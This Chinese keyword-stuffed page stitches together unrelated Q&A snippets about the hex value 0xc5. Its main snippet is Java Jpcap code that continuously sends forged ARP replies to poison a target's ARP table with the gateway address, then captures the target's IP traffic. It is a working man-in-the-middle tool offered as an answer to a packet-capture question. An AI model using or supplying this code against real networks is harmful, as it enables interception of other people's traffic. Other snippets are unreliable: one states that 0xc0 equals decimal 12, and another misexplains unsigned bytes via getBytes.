java0xc5的简单介绍

博主:adminadmin 2023-01-28 08:42:11 209

本篇文章给大家谈谈java0xc5,以及对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

本文目录一览:

JAVA程序获取封包IP,求帮忙写个程序分析封包IP。

public class LocalListener {

private final static String GATE_IP = "192.168.11.1";

private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};

private JpcapCaptor jpcap; //与设备的连接

private JpcapSender sender; //用于发送的实例

private Packet replyPacket; //ARP reply包

private NetworkInterface device; //当前机器网卡设备

private IpMacMap targetIpMacMap; //目的地IP MAC对

public LocalListener(IpMacMap target) throws Exception {

NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];

this.targetIpMacMap = target;

initSender();

initPacket();

}

private void initSender() throws Exception {

jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接

jpcap.setFilter("ip", true); //只监听ip数据包

sender = jpcap.getJpcapSenderInstance();

}

private void initPacket() throws Exception {

//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表

IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);

//创建修改目标机器ARP的包

replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);

//创建以太网头信息,并打包进reply包

replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),

device.mac_address);

}

public void listen() throws InterruptedException{

Thread t = new Thread(new Runnable() {

public void run() {

//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送

while(true){

send();

try {

Thread.sleep(500);

} catch (InterruptedException ex) {

Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);

}

}

}

});

t.start();

//截获当前网络设备的封包收发信息

while(true){

IPPacket ipPacket = (IPPacket)jpcap.getPacket();

System.out.println(ipPacket);

}

}}

//IP-MAC实体,只用于保存一对IP-MAC地址

public class IpMacMap {

private String ip;

private byte[] mac;

public IpMacMap(){

}

public IpMacMap(String ip, byte[] mac){

this.ip = ip;

this.mac = mac;

}

public String getIp() {

return ip;

}

public void setIp(String ip) {

this.ip = ip;

}

public byte[] getMac() {

return mac;

}

public void setMac(byte[] mac) {

this.mac = mac;

}

}

//ARP reply包生成类,用于根据目的地址和源地址生成reply包

public class ARPPacketGern{

public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{

ARPPacket arpTarget = new ARPPacket();

arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)

arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型

arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型

arpTarget.hlen = 6; //MAC地址长度固定6个字节

arpTarget.plen = 4; //IP地址长度固定4个字节

arpTarget.target_hardaddr = target.getMac();

arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();

arpTarget.sender_hardaddr = sender.getMac();

arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();

return arpTarget;

}

}

//根据目的地MAC和源MAC构建以太网头信息,用于传输数据

public class EthernetPacketGern{

public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头

ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型

ethToTarget.dst_mac = targetMac;

ethToTarget.src_mac = senderMac;

return ethToTarget;

}

}

c语言中0xc5怎么计算

0x是十六进制格式,实际上十六进制的一位就相当于二进制的4位,所以直接与二进制一一对应就可以了。题目中的0xc5中的5对应二进制的0101,0xc5中的c对应二进制的1100,所以0xc5=(1100,0101)下标2

0XC0 | 0X05在C语言中什么意思

0x开始的表示十六进制,0开头的表示八进制;0xc0换成十进制就是12,0x05十进制就是5。

java中char定义的问题(才学两天,小白问题)

你好!

A表示字符字面量,'\uxxxx'表示十六进制unicode码字符;B错误是因为没有使用'\ixxxx'表示的字符;C错误是因为缺少'';D错误是因为char类型变量只能用一个字符;E中的0x或者0X表示一个十六进制的字面量。

打字不易,采纳哦!

您好,我想问下,您在java中怎么表示的无符号数据

可以将C5这个toByte,具体用法:

String c5 = "C5";

bytes[] bys = c5.getBytes();

使用平台默认的字符集将此 String 解码为字节序列,并将结果存储到一个新的字节数组中。

关于java0xc5和的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。